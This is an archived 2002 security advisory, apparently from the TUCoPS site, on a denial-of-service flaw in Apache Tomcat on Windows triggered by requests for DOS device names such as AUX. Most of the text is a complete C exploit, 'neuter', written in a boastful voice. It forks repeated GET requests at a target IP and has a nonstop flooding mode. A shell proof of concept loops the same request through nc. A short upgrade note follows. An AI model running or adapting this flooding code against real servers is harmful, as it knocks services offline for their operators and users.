TUCoPS :: Web :: Apache :: apch5477.htm

Apache Tomcat Denial of Service
21th Jun 2002 [SBWID-5477]
COMMAND

	Apache Tomcat Denial of Service

SYSTEMS AFFECTED

	Apache Tomcat 4.0.3 on Windows 2000 Server

PROBLEM

	In advisory of Peter Gründl from KPMG Danemark :
	

	By sending a large amount of null characters to the web  service  it  is
	possible to cause a working thread to  hang.  The  default  installation
	has 75 working threads, which means this malformed  request  has  to  be
	sent to the server 75 times.
	

	 Update (15 October 2002)

	 ======

	

	Tomcat DoS exploit :
	

	

	/*  Windows 2000/NT Apache Tomcat 3.x and 4.0.x DoS

	 *

	 *	bug discovered by Olaf Schulz on 11 October 2002

	 *	essentially does a GET /examples/servlet/AUX HTTP/1.0 ...2000 times.

	 *

	 *	This is actually somewhat lame.  It seemed to be a rather nice DoS

	 *	if it actually killed the server after XX GET's, but that isn't the case.

	 *	That's why I tossed in the '-x' option to keep hammering the box.  When

	 *	this program is running, the webserver becomes inaccessible.

	 *	Not the coolest thing in the world, but it gave me something to do on a boring

	 *	ass monday night. :)  		-bmbr

	 *

	 *

	 * Compile With:

	 * Linux: gcc -o neuter neuter.c

	 * Solaris: gcc -o neuter neuter.c -lsocket -lnsl

	 *

	

	                                    ZZZZZZZZZZZZZZZZZZZ

	                                    Z:::::::::::::::::Z

	                  nnnn  nnnnnnnn    Z:::::::::::::::::Z   ooooooooooo

	                  n:::nn::::::::nn  Z:::ZZZZZZZ::::::Z  oo:::::::::::oo

	     eeeeeeeeeee  n::::::::::::::nn ZZZZZ  * Z::::::Z  o:::::::::::::::o

	   ee:::::::::::eenn:::::::::::::::n      2 Z:::::Z    o:::::ooooo:::::o

	  e:::::::::::::::een:::::nnnn:::::n     0 Z:::::Z     o::::o     o::::o

	 e::::::eeeee::::::en::::n    n::::n    0 Z:::::Z      o::::o     o::::o

	 e:::::e     e:::::en::::n    n::::n   2 Z:::::Z       o::::o     o::::o

	 e::::::eeeee::::::en::::n    n::::n  * Z:::::Z        o::::o     o::::o

	 e::::::::::::::::e n::::n    n::::n   Z:::::Z         o:::::ooooo:::::o

	 e:::::eeeeeeeeeee  n::::n    n::::nZZZ:::::Z     ZZZZZo:::::::::::::::o

	 e::::::e           n::::n    n::::nZ::::::ZZZZZZZZ:::Z oo:::::::::::oo

	 e:::::::e          nnnnnn    nnnnnnZ:::::::::::::::::Z   ooooooooooo

	  e:::::::eeeeeeeeee                Z:::::::::::::::::Z

	   ee::::::::::::::e                ZZZZZZZZZZZZZZZZZZZ

	    ee:::::::::::::e             \... www.enZotech.net .../

	     eeeeeeeeeeeeee

	                 

	

	(The above is radical ascii art.. Respect it. The below is a lame DoS. )

																						  

	*/

	

	

	#include <stdio.h>

	#include <string.h>

	#include <ctype.h>

	#include <signal.h>

	#include <stdlib.h>

	#include <limits.h>

	#include <math.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <sys/time.h>

	#include <netdb.h>

	#include <netinet/in.h>

	#include <arpa/inet.h>

	#include <unistd.h>

	

	

	

	void usage(char* argv0);

	void forkoff(char *ip, int port);

	int neuter(char *ip, int port);

	

	void sigint();

	void sighup();

	void sigquit();

	

	int main(int argc, char *argv[])

	{

	

	extern int optopt;

	extern char *optarg;

	int errorflag = 0; /* did someone screw up? */

	int port = 80;	/* default port to use unless -p */

	int c;

	int kill = 0;

	int killhigh = 2000; /* This is how many GETS to request */

	int always = 0;

	

	if ((argc < 2) || (argc > 6))

		usage(argv[0]);

	

	while ((c=getopt(argc, argv, "vxp:")) != EOF) {

		switch(c) {

			case 'p':

				fprintf(stderr, "Using port %s\n", optarg);

				port = strtol(optarg, NULL, 10);

				break;

			case 'x':

				fprintf(stderr, "Nonstop DoS Attack.. go get a dew..\n");

				always = 1;

				break;

			case 'v':

				fprintf(stderr, "Neuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");

				fprintf(stderr, "written by: bmbr@enZo\n\n");

				exit(0);

			case ':':

				fprintf(stderr, "Option -%c requires an operand\n", optopt);

				errorflag++;

				break;

			case '?':

				fprintf(stderr, "Unrecognized option: -%c\n", optopt);

				errorflag++;

	

		}

	}

	

	if (errorflag) {

			usage(argv[0]);

	}

	

	/* kill them */

	while (kill <= killhigh) {

		forkoff(argv[argc-1], port);

		fprintf(stderr, "b00m! ");

			if (always != 1)

				kill++;

			}

	fprintf(stderr, "\nFinished!\n");

	return 0;

	} /* end main */

	

	void usage(char* argv0)

	{

		fprintf(stderr, "\nNeuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\n");

		fprintf(stderr, "Written by: bmbr@enZo\n\n");

		fprintf(stderr, "Usage: %s [-p port] IP\n", argv0);

		fprintf(stderr, "optional: -x (don't stop DoS'ing)\n\n");

		exit(1);

	}

	

	void sigint()

	{

		signal(SIGINT,sigint);

		fprintf(stderr, "CHILD: I have received Sigint!\n");

		exit(0);

	}

	

	void sigquit()

	{

		fprintf(stderr, "CHILD: My parent has killed me!\n");

		exit(0);

	}

	

	void sighup()

	{

		signal(SIGHUP,sighup);

		fprintf(stderr, "CHILD: I have received SIGHUP\n");

	}

	

	

	void forkoff(char *ip, int port)

	{

			int pid;

			pid = fork();

	

	

			if (pid < 0) {

					fprintf(stderr, "Fork Error.\n");

					exit(0);

			}

			else if (pid > 0)

					usleep(1000);  /* microseconds (millionth of a sec) */

			else if (pid == 0) {

					signal(SIGHUP,sighup);

					signal(SIGINT,sigint);

					signal(SIGQUIT,sigquit);

					alarm(25);

					neuter(ip, port);

					alarm(0);

					exit(0);

			}

	}

	

	int neuter(char *ip, int port)

	{

		int s, r, c;

	    char *string = "GET /examples/servlet/AUX HTTP/1.0\r\n";

		char *stringend = "\r\n\r\n";

	

		struct sockaddr_in addr;

		struct hostent *hp;

		memset((char *) &addr, '\0', sizeof(addr));

		addr.sin_family = AF_INET;

		addr.sin_addr.s_addr = inet_addr(ip);

		addr.sin_port= htons(port);

	

	

		if ((hp = gethostbyname(ip)) != NULL) {

				/* need to check the size of h_length to avoid overflow */

				if (hp->h_length > sizeof(addr.sin_addr)) {

						hp->h_length = sizeof(addr.sin_addr); }

	

			memcpy((char *) &addr.sin_addr, hp->h_addr, hp->h_length);

		}

		else {

			if ((addr.sin_addr.s_addr = inet_addr(ip)) < 0) {

				return(0);

				}

		}

	

		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

		r = connect(s, (struct sockaddr *) &addr, sizeof(addr));

	

		write(s, string, strlen(string));

		write(s, stringend, strlen(stringend));

		c = 0;

	

	

		close(s);

		return 0;

	}

	

	

	 Update (21 October 2002)

	 ======

	

	Olaf Schulz [olaf.schulz@t-systems.com] [http://www.dcert.de] adds :
	

	In combination with Microsoft's IIS, Apache Tomcat is  vulnerable  to  a
	denial-of-service attack. An attacker can crash the tomcat  engine  with
	multiple (e.g. 1000) requests that contain DOS device  names  like  AUX,
	LPT1, CON, PRN.
	

	 Proof of concept code:

	

	When Tomcat is serving servlets and jsp's under /examples/servlet/,  use
	:
	

	- - - - --------8<----------------------------

	#!/bin/sh

	for i in 1 2 3 4 5 6 7 8 9 0 ; do

	  for j in 1 2 3 4 5 6 7 8 9 0 ; do

	     for k in 1 2 3 4 5 6 7 8 9 0 ; do

	        echo -e "GET /examples/servlet/AUX HTTP/1.0\n\n"|nc

	<target_ip>

	<target-port> 2>1 >/dev/null &

	     done

	  done

	done

	- - - - --------8<----------------------------

	

	This attack works on a Microsoft IIS Web Server  connecting  the  Tomcat
	engine via the ajp1.3 connector. Standalone  Tomcat  engines  (connected
	via the http interface on port 8080) are not vulnerable.

SOLUTION

	Upgrade to V4.1.3 beta, which is available here :
	

	http://jakarta.apache.org/builds/jakarta-tomcat-4.0/release/v4.1.3-beta/

	

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH